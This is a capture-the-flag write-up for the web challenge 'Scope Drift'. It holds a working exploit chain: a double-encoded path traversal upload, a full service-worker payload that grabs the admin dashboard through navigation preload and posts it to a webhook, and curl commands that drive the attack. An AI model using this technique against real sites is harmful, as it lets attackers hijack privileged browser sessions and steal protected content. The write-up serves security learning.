← Back to Writeups
HTBN/AWeb

Scope Drift

XESXOR8/23/20265 min read
#web#htb#n/a

Scope Drift

Platform: D3C2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-25 | Status: Solved Techniques: double_decoding_traversal, service_worker_scope_hijacking, navigation_preload_exfiltration

Summary

Task: An Express static host exposes guest uploads, a reviewer bot, webhooks, and a protected admin dashboard, with inconsistent URL decoding. Solution: Double-decoding traversal plants an admin-scoped service worker whose Navigation Preload response is exfiltrated.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: d3c2026 | ID: 20260725_d3c2026_scope_drift
  • Tags: path_traversal, authorization_bypass, express, service_worker, navigation_preload
  • Indicators: upload path and storage disagree on URL decoding, reviewer bot later visits a protected path, service worker script can be placed under a privileged URL namespace, ordinary worker fetch returns 403 while navigation preload returns 200
  • Source: 20260725_d3c2026_scope_drift.md

Foothold

Vulnerability / Misconfiguration

  1. Double_decoding_traversal
  2. Service_worker_scope_hijacking
  3. Navigation_preload_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • double_decoding_traversal
  • service_worker_scope_hijacking
  • navigation_preload_exfiltration
  • Tags: path_traversal, authorization_bypass, express, service_worker, navigation_preload

Original Writeup

<details><summary>Click to expand original content</summary>

Scope Drift — d3c2026

Description

A tiny static hosting platform for guest pages, reviewer workflows, and webhook testing! Just upload your files, submit them for review, and keep your deployment notes organized.

The application lets guests upload files under /u/guest/, ask a reviewer bot to open a URL through /bot?url=..., and receive callbacks at /webhook/guest, which are displayed by /inbox. The objective is to read the reviewer-only /u/admin/dashboard.

Analysis

Reconnaissance identified an Express application with the following relevant surfaces:

  • POST /upload, with path and content form fields;
  • GET /bot?url=..., which accepts the submitted HTTP URL for review;
  • /u/guest/, where uploaded guest content is served;
  • /webhook/guest and /inbox, providing a same-origin exfiltration sink and its log;
  • /u/admin/dashboard, which returns 403 to an unauthenticated request.

Double-decoding path mismatch

Upload validation and final storage did not interpret the path identically. The form path

/u/guest/%252e%252e/admin/scope-drift-sw4.js

passed the guest-prefix validation. One decoding pass changes %25 into %, leaving the apparently guest-local path /u/guest/%2e%2e/admin/scope-drift-sw4.js. A later decode and path normalization turns %2e%2e into .., so the file is ultimately served from:

/u/admin/scope-drift-sw4.js

This is enough to move attacker-controlled JavaScript from the guest namespace into the admin URL namespace.

Why the service-worker scope drifts

By default, a service worker's maximum and default scope are derived from the directory containing its script URL. A worker loaded from /u/admin/scope-drift-sw4.js therefore receives /u/admin/ scope, even though registration is initiated by a page under /u/guest/. No broader Service-Worker-Allowed header is needed because the desired scope is exactly the worker script's own directory.

Consequently, the worker controls later navigations to /u/admin/dashboard. The trigger page confirmed that the reviewer's browser registered the worker with scope http://localhost:3000/u/admin/.

Why Navigation Preload matters

Several superficially equivalent requests did not retain the reviewer's privileged navigation context:

  • a direct same-origin fetch from the guest page returned 403;
  • a delayed fetch from a guest-scoped worker returned 403;
  • an admin-scoped worker calling ordinary fetch(event.request) also returned 403.

Navigation Preload behaves differently. Once enabled during activation, the browser starts a parallel network request as part of the original top-level navigation while the service worker starts. The resulting response is exposed as event.preloadResponse. In this challenge, that browser-managed request preserved the special authorization context attached to the reviewer's dashboard navigation, whereas a new fetch initiated by worker code did not. The observed distinction was decisive: event.preloadResponse returned the real dashboard with status 200, while fresh worker fetches returned 403.

Solution

Run the commands from the task directory containing exploit-sw.js and trigger.html.

1. Create the admin-scoped service worker

The complete worker payload is:

self.addEventListener("install", event => event.waitUntil(self.skipWaiting()));

self.addEventListener("activate", event => event.waitUntil(Promise.all([
  self.clients.claim(),
  self.registration.navigationPreload.enable(),
])));

self.addEventListener("fetch", event => {
  const url = new URL(event.request.url);
  if (event.request.mode === "navigate" && url.pathname === "/u/admin/dashboard") {
    event.respondWith((async () => {
      // Navigation preload preserves the browser's privileged navigation context.
      const response = await event.preloadResponse || await fetch(event.request);
      const body = await response.clone().text();
      await fetch("/webhook/guest", {
        method: "POST",
        headers: {"Content-Type": "text/plain"},
        body: `ADMIN_PRELOAD status=${response.status}\n${body}`,
      });
      return response;
    })());
  }
});

Upload it through the double-encoded traversal path:

TARGET='https://rlxhzixxsu3hd6gwvnx6hzcxd3e.cloud.d3c.tf'

curl -sS -X POST "$TARGET/upload" \
  --data-urlencode 'path=/u/guest/%252e%252e/admin/scope-drift-sw4.js' \
  --data-urlencode 'content@exploit-sw.js'

curl -i "$TARGET/u/admin/scope-drift-sw4.js"

The second request verifies that the JavaScript is now reachable in /u/admin/ rather than merely under the accepted guest path.

2. Upload the registration page

The normal guest page registers the displaced worker and reports the assigned scope:

<!doctype html>
<meta charset="utf-8">
<script>
navigator.serviceWorker.register("/u/admin/scope-drift-sw4.js")
  .then(registration => fetch("/webhook/guest", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: `ADMIN_SW4 registered scope=${registration.scope}`,
  }));
</script>

Upload it without traversal:

curl -sS -X POST "$TARGET/upload" \
  --data-urlencode 'path=/u/guest/scope-register4.html' \
  --data-urlencode 'content@trigger.html'

3. Send the HTTP URL to the reviewer

The bot rejected HTTPS submissions, so submit the HTTP form of the public URL exactly as follows:

curl -sS -G "$TARGET/bot" \
  --data-urlencode 'url=http://rlxhzixxsu3hd6gwvnx6hzcxd3e.cloud.d3c.tf/u/guest/scope-register4.html'

The reviewer first opens the guest trigger, which installs the /u/admin/ worker, and later navigates to /u/admin/dashboard. The worker intercepts that navigation, awaits the preloaded status-200 response, clones its body, and posts the clone to the guest webhook without disrupting the original navigation.

4. Read the webhook inbox

curl -sS "$TARGET/inbox"

The inbox first shows the worker registration callback and its /u/admin/ scope. It then records an ADMIN_PRELOAD status=200 entry containing the dashboard HTML and d3ctf{REDACTED}.

Failed Approaches

  • Direct same-origin fetch: requesting /u/admin/dashboard from the guest page returned 403.
  • Guest-scoped delayed worker fetch: persistence alone was insufficient; the delayed request still returned 403.
  • Popup/opener persistence: the bot reported opened=false, so an automatic popup could not retain a useful privileged context.
  • Ordinary admin-worker fetch: the scope was correct, but fetch(event.request) created a request that returned 403; only the preloaded original navigation returned 200.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR